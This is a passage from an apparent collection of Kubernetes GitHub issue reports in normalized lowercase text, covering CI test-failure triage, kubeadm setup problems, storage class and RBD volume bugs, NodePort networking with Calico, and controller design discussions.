above. in principle it doesn't need to know the  it could just randomly kill pods and rely on the regular scheduler to put them back in better places. however, this is a rather inexact approach. thus it is useful for the rescheduler to know the  or at least some subset of them, so it can be sure that an action it takes will actually improve the cluster layout. - if it is going to run continuously in the background to optimize cluster layout and is going to act as a scheduler rather than just killing pods, then it needs to know the predicate functions and some compatible  but not necessarily identical    one example of a case where \ compatible but not identical\  might be useful is if the main scheduler s  has a very simple scheduling policy optimized for low scheduling latency, and the rescheduler having a more sophisticated/optimal scheduling policy that requires more computation time. the main thing to avoid is for the scheduler s  and rescheduler to have incompatible  as this will cause them to \ fight\   though it still can't lead to an infinite loop, since the scheduler s  only ever touches a pod once .  the vast majority of users probably only care about rescheduling for three scenarios: 1  redistribute pods onto new nodes added by a cluster auto-scaler 2  move pods around to get a pending pod to schedule 3  move pods around when cpu starvation is detected on a node

kubectl rollout  http://kubernetes.io/docs/user-guide/kubectl/kubectl_rollout/  can pause or unpause or undo a rollout.  but it cannot initiate a rollout.  iiuc, you initiate one by patching a deployment.  suggest that: - the rollout docs say how to start one. - maybe have  kubectl rollout start  be an alias to  kubectl patch  or something.

it's been broken since noon: https://k8s-testgrid.appspot.com/sq-blocking kops-aws\r failure examples:\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/4942\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/4941\r potential offenders: https://github.com/kubernetes/kubernetes/compare/8cc7475...1d97472\r \r the rc/rs pr seems to be the major one:  41984 /cc @enisoc\r \r i only checked the one failure shown up in my pr https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/42264/pull-kubernetes-e2e-kops-aws/15658/\r while the cluster was still starting up  kubelet registering itself, creating mirror pods, etc , the replicaset created >70 kube-dns pods in less than 40s because all pods were rejected.\r  1. the mirror pods on the master were not fully created yet, and the dns pods got assigned to the master node and rejected by kubelet due to insufficient resources on the node.\r  2. after the mirror pods were created correctly, there was still one node that hadn't registered yet. all new dns pods failed at scheduling because the pod could not fit on any node.\r \r for  2 , after the node registered itself, it waited for ~50 to be assigned the pod cidr. seems a little bit high to me.\r also, on gce, master nodes are unschedulable  taint? , but that doesn't seem like the case on aws. not sure if this is a feature or bug.\r \r /cc @justinsb

failure cluster  aee02e0442d98d20850b  https://go.k8s.io/triage aee02e0442d98d20850b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1221 expected error:     < errors.errorstring | 0xc4203e79f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:611           failure cluster statistics: 16 tests failed,    21 jobs failed,    144 builds failed. failure stats cover 1 day time range '28 jun 2017 22:38 utc' to '29 jun 2017 22:38 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | 7 | |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  | 7 | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-slow | 42 |  29 jun 2017 21:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/7023  | | ci-kubernetes-e2e-gci-gke-slow | 41 |  29 jun 2017 21:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/7761  | | ci-kubernetes-e2e-kops-aws-slow | 37 |  29 jun 2017 21:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/4219  |        previously closed issues for this cluster:  46140   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | madhusudancs |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | | freehan |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance ;  k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: udp | | wojtek-t |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | | sig/network |  k8s.io  services should only allow access from service loadbalancer source ranges  slow ;  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance ;  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  |  </details><br>   current status  https://go.k8s.io/triage aee02e0442d98d20850b

 \r   what happened  :\r \r after setting up kubeadm, the master node has status notready\r \r   what you expected to happen  :\r \r master node has a ready status.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r vagrant up && vagrant ssh master\r sudo su\r yum install docker -y && systemctl enable docker && systemctl start docker \r    \r \r  from the official kubeadm tutorial \r    \r cat <<eof > /etc/yum.repos.d/kubernetes.repo\r  kubernetes \r name=kubernetes\r baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r enabled=1\r gpgcheck=1\r repo_gpgcheck=1\r gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg\r         https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r eof\r setenforce 0\r yum install -y kubelet kubeadm\r systemctl enable kubelet && systemctl start kubelet\r    \r \r    \r kubeadm init --apiserver-advertise-address 10.10.10.10\r mkdir -p $home/.kube\r sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r sudo chown $ id -u :$ id -g  $home/.kube/config\r    \r \r  kubectl get nodes \r \r name      status     age       version\r k8t-m     notready   7m        v1.7.0\r \r   anything else we need to know?  :\r \r my vagrantfile:\r    \r   - - mode: ruby - -\r   vi: set ft=ruby :\r vagrantfile_api_version = \ 2\ \r vagrant.configure vagrantfile_api_version  do |config|\r  config.vm.define :master, primary: true do |master_config|\r   master_config.vm.box = \ maier/centos-7.3.1611-x86_64\   \r   master_config.vm.hostname = \ k8t-m\ \r   master_config.vm.network \ private_network\ , ip: \ 10.10.10.10\ \r  end\r  config.vm.define :minion1 do |minion_config|\r   minion_config.vm.box = \ maier/centos-7.3.1611-x86_64\ \r   minion_config.vm.hostname = \ k8t-node\ \r   minion_config.vm.network \ private_network\ , ip: \ 10.10.10.11\ \r  end\r end\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.0\r - cloud provider or hardware configuration  : using vagrant on a macbook pro\r - os  e.g. from /etc/os-release : centos 7 \r - kernel  e.g.  uname -a  : linux k8t-m 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: see instructions above\r - others:\r

failure cluster  71baa74353784f8eccc7  https://go.k8s.io/triage 71baa74353784f8eccc7        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    52 jobs failed,    428 builds failed. failure stats cover 1 day time range '18 jul 2017 21:39 utc' to '19 jul 2017 21:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 52 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-docker | 29 |  19 jul 2017 20:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-docker/1482  | | ci-kubernetes-e2e-gci-gce-etcd3 | 27 |  19 jul 2017 20:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/11332  | | ci-kubernetes-e2e-gci-gce | 25 |  19 jul 2017 20:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/11598  |   current status  https://go.k8s.io/triage 71baa74353784f8eccc7

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r there are huge duplication among different proxiers. for example, the service/endpoints list/watch part in iptables, ipvs and windows to be get in soon . \r \r i think the more places this is replicated the harder it becomes to keep correct.\r \r   what you expected to happen  :\r \r i assume we may need to refactor it and let different proxiers consume the same code.\r \r   anything else we need to know?  :\r \r /cc @thockin @wojtek-t @feiskyer @dcbw any thoughts?\r \r /area kube-proxy\r \r 

bug report  :\r \r   \r   what happened  :\r i cannot change the default storage class in kubernetes v1.8.0 on azure. everytime i run:\r \r  kubectl patch storageclass default -p '{\ metadata\ : {\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ false\ }}}' \r \r i get the response that everything is done correctly: storageclass \ default\  patched.\r  kubectl get storageclass \r \r after that i get:\r    \r default  default             kubernetes.io/azure-disk\r managed-premium              kubernetes.io/azure-disk\r managed-standard  default    kubernetes.io/azure-disk\r    \r i already set my managed disk as default, but everytime after 5 seconds it makes the default also a default, which mean that i have two default storage classes and that i cannot do any helm installs anymore.\r \r seeing how i used the acs-engine to make arm templates and that i use managed disk i cannot use the default storage class.\r \r   what you expected to happen  :\r i expected the default class to be changed to:\r  managed-standard  default    kubernetes.io/azure-disk\r  \r not having two default storage classes\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. set another storage class as default: \r  kubectl patch storageclass <other_class> -p '{\ metadata\ : {\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ true\ }}}' \r \r 2. remove the default storage class label from the default.\r  kubectl patch storageclass default -p '{\ metadata\ : {\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ false\ }}}' \r \r 3. wait 5 seconds and now you have:\r \r    \r default  default             kubernetes.io/azure-disk\r managed-premium              kubernetes.io/azure-disk\r managed-standard  default    kubernetes.io/azure-disk\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0\r - cloud provider or hardware configuration  : azure\r

what are the exact aws permissions needed by master server to create an external load balancer for the service?

bug report  :\r   \r   what happened  :\r adding this annotation to an existing service:  {\ metadata\ :{\ annotations\ :{\ service.beta.kubernetes.io/aws-load-balancer-additional-resource-tags\ :\ team=devops,env=qa\ }}}  did not trigger an update on aws elb  no new tags .\r \r   what you expected to happen  :\r expected to see those 2 new tags under the existing elb:   team=devops,env=qa \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a service without annotation\r 2. add the annotation  {\ metadata\ :{\ annotations\ :{\ service.beta.kubernetes.io/aws-load-balancer-additional-resource-tags\ :\ team=devops,env=qa\ }}} \r 3. no tags on aws\r \r   anything else we need to know?  :\r creating a new service with the annotation will create the expected tags on aws.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.9\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : linux ip-xxxxx 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r - install tools:\r - others: using kops\r

 \r   what happened  :\r \r upon killing a pod in a stateful set the pod isn't restarted, unable to claim the pvc bound to a rbd volume.\r \r   what you expected to happen  :\r \r killed pods restart.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. set up a  statefulset  with a pvc that maps to an rbd volume.\r 2. wait until pod is scheduled on node  a .\r 3. cordon  a  to prevent same node re-scheduling and delete the pod.\r 4. observe the pod moving into  terminating  state\r \r ceph events:\r \r    \r 2017-12-05 14:39:02.833145 mon.0  inf  from='client.? 10.100.2.108:0/341464892' entity='client.kubernetes' cmd= {\ prefix\ : \ osd blacklist\ , \ blacklistop\ : \ add\ , \ addr\ : \ 10.100.2.108:0/764361826\ } :  access denied\r    \r \r kubelet log:\r \r    \r dec 05 14:42:03 kube-minion-1 kubelet 7465 : i1205 14:42:03.659149    7465 rbd_util.go:157  lock list output \ 2017-12-05 14:42:03.649312 7f71001fb100 -1 did not load config file, using default settings.\ 2017-12-05 14:42:03.652762 7f71001fb100 -1 auth: unable to find a keyring on /etc/ceph/ceph.client.kubernetes.keyring,/etc/ceph/ceph.keyring,/etc/ceph/keyring,/etc/ceph/keyring.bin:  2  no such file or directory\ there is 1 exclusive lock on this image.\ locker      id                               address                  \ client.4261 kubelet_lock_magic_kube-minion-1 10.100.2.108:0/764361826 \ \ \r dec 05 14:42:03 kube-minion-1 kubelet 7465 : i1205 14:42:03.704005    7465 operation_generator.go:535  unmountvolume.teardown succeeded for volume \ kubernetes.io/rbd/2b507773-d9ca-11e7-99b9-5254005dce71-concourse-postgres\   outervolumespecname: \ postgres-data\   pod \ 2b507773-d9ca-11e7-99b9-5254005dce71\   uid: \ 2b507773-d9ca-11e7-99b9-5254005dce71\  . innervolumespecname \ concourse-postgres\ . pluginname \ kubernetes.io/rbd\ , volumegidvalue \ \ \r dec 05 14:42:03 kube-minion-1 kubelet 7465 : i1205 14:42:03.787723    7465 reconciler.go:290  volume detached for volume \ concourse-postgres\   uniquename: \ kubernetes.io/rbd/2b507773-d9ca-11e7-99b9-5254005dce71-concourse-postgres\   on node \ kube-minion-1\  devicepath \ \ \r    \r \r 5. observe the pod stuck in  init  on node  b .\r \r   anything else we need to know?  :\r \r    \r   rbd -p kubernetes lock ls concourse-postgres\r there is 1 exclusive lock on this image.\r locker      id                               address\r client.4261 kubelet_lock_magic_kube-minion-1 10.100.2.108:0/764361826\r    \r \r the lock is still there, preventing  b  to claim the volume.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: kvm on bare metal\r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts \r - kernel  e.g.  uname -a  :  4.13.0-17-generic \r - install tools: kubeadm\r \r

failure cluster  f2d98a91489517f392f6  https://go.k8s.io/triage f2d98a91489517f392f6        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true --cluster-ip-range=10.64.0.0/14: exit status 1           failure cluster statistics: 1 tests failed,    4 jobs failed,    68 builds failed. failure stats cover 1 day time range '17 dec 2017 03:18 utc' to '18 dec 2017 03:18 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce | 24 |  18 dec 2017 02:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/19226  | | ci-kubernetes-e2e-gci-gce-ip-alias | 18 |  18 dec 2017 02:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/10754  | | ci-cri-containerd-e2e-gci-gce | 14 |  18 dec 2017 01:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-cri-containerd-e2e-gci-gce/1028  |   current status  https://go.k8s.io/triage f2d98a91489517f392f6

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r running a 3-node cluster, nodeport service with one pod only responds on one node, the node where the pod is running. attempts to access the service on the nodeport via other nodes times out with no response.\r \r   what you expected to happen  :\r service should respond on the service port from any node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r base os ubuntu 16.04. install with calico as the network provider, with the pod cidr set to a non-default value  in my case, 10.5.0.0/16 . \r \r i created my cluster with the following kubeadm init statement:\r \r  kubeadm init --pod-network-cidr=10.5.0.0/16 --apiserver-cert-extra-sans  'kubemaster.wittlesouth.com','192.168.5.10'  \r \r i deployed calico 3.0.1 with a one-line change to the deployment yaml file to set the environment variable calico_ipv4pool_cidr to the value 10.5.0.0/16 to match the cidr set for kubernetes.\r \r   anything else we need to know?  :\r if you run \ iptables -p forward accept\  on all of the nodes, the service works as expected, and responds from each node in the cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r eric:kubernetes eric$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r three intel nuc computers with 32gb ram.\r \r - os  e.g. from /etc/os-release :\r    \r eric@nuc1:~$ more /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r eric@nuc1:~$ uname -a\r linux nuc1 4.13.0-31-generic  34~16.04.1-ubuntu smp fri jan 19 17:11:01 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r kubeadm\r \r - others:\r \r calico 3.0.1\r \r the symptoms are similar to issue  39823. i tried the resolution suggested in one of the comments,  iptables -p forward accept , although that seems like a hack. i'm wondering if i missed a configuration options somewhere, as it seems like the pods in my environment are not getting ip address from the pod cidr range provided to kubeadm init. here is a pod list:\r \r    \r eric@nuc1:~$ kubectl get pods --all-namespaces -o wide\r namespace     name                                      ready     status    restarts   age       ip                node\r default       mysql-6f499c6f58-gvx58                    1/1       running   2          4d        192.168.43.56     nuc1\r default       ols-server-5959cf6cdb-54p65               1/1       running   2          4d        192.168.43.52     nuc1\r default       ols-web-54b68bff86-d6kj4                  1/1       running   3          4d        192.168.43.50     nuc1\r kube-system   calico-etcd-6vspc                         1/1       running   3          4d        192.168.5.10      nuc1\r kube-system   calico-kube-controllers-d669cc78f-b67rc   1/1       running   5          5d        192.168.5.10      nuc1\r kube-system   calico-node-526md                         2/2       running   9          5d        192.168.5.10      nuc1\r kube-system   calico-node-5trgt                         2/2       running   3          3d        192.168.5.12      nuc3\r kube-system   calico-node-r9ww4                         2/2       running   3          3d        192.168.5.11      nuc2\r kube-system   etcd-nuc1                                 1/1       running   6          5d        192.168.5.10      nuc1\r kube-system   kube-apiserver-nuc1                       1/1       running   7          5d        192.168.5.10      nuc1\r kube-system   kube-controller-manager-nuc1              1/1       running   6          5d        192.168.5.10      nuc1\r kube-system   kube-dns-6f4fd4bdf-dt5fp                  3/3       running   12         5d        192.168.43.49     nuc1\r kube-system   kube-proxy-8xf4r                          1/1       running   1          3d        192.168.5.11      nuc2\r kube-system   kube-proxy-tq4wk                          1/1       running   4          5d        192.168.5.10      nuc1\r kube-system   kube-proxy-wcsxt                          1/1       running   1          3d        192.168.5.12      nuc3\r kube-system   kube-registry-proxy-cv8x9                 1/1       running   4          5d        192.168.43.55     nuc1\r kube-system   kube-registry-proxy-khpdx                 1/1       running   1          3d        192.168.124.203   nuc3\r kube-system   kube-registry-proxy-r5qcv                 1/1       running   1          3d        192.168.40.201    nuc2\r kube-system   kube-registry-v0-wcs5w                    1/1       running   2          5d        192.168.43.51     nuc1\r kube-system   kube-scheduler-nuc1                       1/1       running   6          5d        192.168.5.10      nuc1\r kube-system   kubernetes-dashboard-845747bdd4-dp7gg     1/1       running   4          5d        192.168.43.47     nuc1\r wittlesouth   jenkins-deployment-7df556c549-mmnsl       1/1       running   2          5d        192.168.43.46     nuc1\r wittlesouth   jira-d54949568-bzfh5                      1/1       running   0          1d        192.168.124.204   nuc3\r    \r \r i noticed the issue with the jira service, and tried the kube-proxy diagnostics steps in the kubernetes documentation. here are the iptables entries for the jira service:\r \r    \r eric@nuc1:/var/lib$ sudo iptables-save | grep jira\r -a kube-nodeports -p tcp -m comment --comment \ wittlesouth/jira:\  -m tcp --dport 30007 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ wittlesouth/jira:\  -m tcp --dport 30007 -j kube-svc-mo7xz6ashgm5bopi\r -a kube-sep-rdebptmqorz6cwa2 -s 192.168.124.204/32 -m comment --comment \ wittlesouth/jira:\  -j kube-mark-masq\r -a kube-sep-rdebptmqorz6cwa2 -p tcp -m comment --comment \ wittlesouth/jira:\  -m tcp -j dnat --to-destination 192.168.124.204:8082\r -a kube-services ! -s 10.5.0.0/16 -d 10.105.201.170/32 -p tcp -m comment --comment \ wittlesouth/jira: cluster ip\  -m tcp --dport 8082 -j kube-mark-masq\r -a kube-services -d 10.105.201.170/32 -p tcp -m comment --comment \ wittlesouth/jira: cluster ip\  -m tcp --dport 8082 -j kube-svc-mo7xz6ashgm5bopi\r -a kube-svc-mo7xz6ashgm5bopi -m comment --comment \ wittlesouth/jira:\  -j kube-sep-rdebptmqorz6cwa2\r    \r \r here is the kube-forward rules:\r \r    \r chain kube-forward  1 references \r target     prot opt source               destination         \r accept     all  --  anywhere             anywhere             /  kubernetes forwarding rules  / mark match 0x4000/0x4000\r accept     all  --  10.5.0.0/16          anywhere             /  kubernetes forwarding conntrack pod source rule  / ctstate related,established\r accept     all  --  anywhere             10.5.0.0/16          /  kubernetes forwarding conntrack pod destination rule  / ctstate related,established\r    \r \r so i'm not sure if the issue is that the kube-forward rules would work if the pod and service ips were actually in the range provided in the pod-network-cidr setting and that is the problem, or there is something else happening with the forwarding rules. please let me know if there is any additional information that would be useful.\r \r  \r

  /assign\r \r   what happened  :\r running make all w/out rsync installed resulted in a failed local build.\r \r   what you expected to happen  :\r a run to verify dependencies like happens when running make clean\r \r   how to reproduce it  as minimally and precisely as possible   :\r run make all without rsync installed\r \r   anything else we need to know?  :\r i have a fix local which extracts verfiying the deps into a makefile target, just wanted to make sure this is a desired behavior. this would allow both the all and the clean targets  or any future target which requires the deps to be set up  to use the verify-deps target.\r \r here is my naive attempt at a fix for this: https://github.com/nerdsvilleceo/kubernetes/commit/54f88b337d8ab6d0c846fd1de9f9959585580554

$kubectl expose deployment hello-minikube --type=nodeport service \ hello-minikube\  exposed\r service \ hello-minikube\  exposed\r error from server  notfound : deployments.extensions \ service\  not found\r

failing jobs\r  sig-release-master-blocking gci-gke-reboot  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-reboot \r \r   failing tests\r  each node by ordering clean reboot and ensure they function upon restart  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/16044 \r  each node by switching off the network interface and ensure they function upon switch on  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/16044 \r  each node by dropping all inbound packets for a while and ensure they function afterwards  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/16044 \r  each node by dropping all outbound packets for a while and ensure they function afterwards  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/16044 \r  each node by ordering unclean reboot and ensure they function upon restart  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/16044 \r  each node by triggering kernel panic and ensure they function upon restart  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/16044 \r \r tests failing on sig-master-blocking\r \r /cc @tpepper @aishsundar \r  / /  /milestone v1.12

what would you like to be added  :\r add documentation/example showing the usage of dynamic package in the client-go repo.\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r kubelet.exe's memory usage is increasing over time. when more pods are run, it increases even more.\r \r   what you expected to happen  :\r it should not keep increasing\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.0\r - cloud provider or hardware configuration: aks\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r ! image009  https://user-images.githubusercontent.com/4204090/58673225-583a5500-82ff-11e9-8f81-e66e90099bc7.jpg

panic: interface {} is cache.deletedfinalstateunknown, not  extensions.daemonset  goroutine 3973  running : k8s.io/kubernetes/pkg/controller/daemon.newdaemonsetscontroller.func5 0x2eb9e40, 0xc824949140          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/daemon/controll er.go:139 +0x1a1 k8s.io/kubernetes/pkg/controller/framework.resourceeventhandlerfuncs.ondelete 0xc8241442f0, 0xc824144300, 0xc824144310, 0x2eb9 e40, 0xc824949140          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/framework/contr oller.go:178 +0x3a k8s.io/kubernetes/pkg/controller/framework.  resourceeventhandlerfuncs .ondelete 0xc820d714e0, 0x2eb9e40, 0xc824949140          <autogenerated>:25 +0xb5 k8s.io/kubernetes/pkg/controller/framework.newinformer.func1 0x2eba000, 0xc82491a320, 0x0, 0x0          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/framework/contr oller.go:248 +0x56d k8s.io/kubernetes/pkg/controller/framework.  controller .processloop 0xc8241580e0          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/framework/contr oller.go:122 +0x6f k8s.io/kubernetes/pkg/controller/framework.  controller . k8s.io/kubernetes/pkg/controller/framework.processloop -fm           /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/framework/contr oller.go:97 +0x20 k8s.io/kubernetes/pkg/util/wait.jitteruntil.func1 0xc824818f88          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/util/wait/wait.go:66 +0x4b k8s.io/kubernetes/pkg/util/wait.jitteruntil 0xc824818f88, 0x3b9aca00, 0x0, 0xc820018de0          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/util/wait/wait.go:67 +0x68 k8s.io/kubernetes/pkg/util/wait.until 0xc824818f88, 0x3b9aca00, 0xc820018de0          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/util/wait/wait.go:47 +0x3e k8s.io/kubernetes/pkg/controller/framework.  controller .run 0xc8241580e0, 0xc820018de0          /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:97 +0x1c2 created by k8s.io/kubernetes/pkg/controller/daemon.  daemonsetscontroller .run         /home/legion/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/daemon/controller.go:191 +0xd4      i found it in openshift project but this code is the same:  https://github.com/openshift/origin/blob/master/godeps/_workspace/src/k8s.io/kubernetes/pkg/controller/daemon/controller.go l139  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/controller.go l139

an example of \ propagating grace period\  is in a cascading deletion of a replica set and its pods, if a user deletes the replica set with 30s grace period, the pods should be deleted with the same grace period. see https://github.com/kubernetes/kubernetes/pull/23656 issuecomment-215612461.  in the proposal for cascading deletion   23656 , we note that we will not propagate the grace period when implementing the garbage collector, though the design can be extended to support the grace period propagation. we will discuss related problems here.  @lavalamp @smarterclayton @kubernetes/sig-api-machinery

we've occasionally run into an issue where we create a new namespace, but the corresponding service account isn't created for over 5 minutes, during which time the new namespace remains non-functional.  that is, we can create a replication controller in the new namespace, but it throws errors every second complaining that it's  unable to create pods: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created . then, after a little over 5 minutes, the service account finally appears, and the replication controller succeeds at creating pods.    stdout:         2016-05-05 06:31:51  $ echo \ {\\\ apiversion\\\ :\\\ v1\\\ ,\\\ kind\\\ :\\\ namespace\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ grafana\\\ }}\  | kubectl create -f -  2016-05-05 06:31:51  namespace \ grafana\  created   2016-05-05 06:31:53  $ kubectl --namespace=grafana create -f /tmp/template_grafana_rc_20160505-063149.yaml  2016-05-05 06:31:53  replicationcontroller \ grafana-20160505-063149\  created        logs:        $ kubectl logs kube-controller-manager-m1kmaster1 | grep grafana |  head;echo;tail  i0505 06:31:53.649666       1 replication_controller.go:434  too few 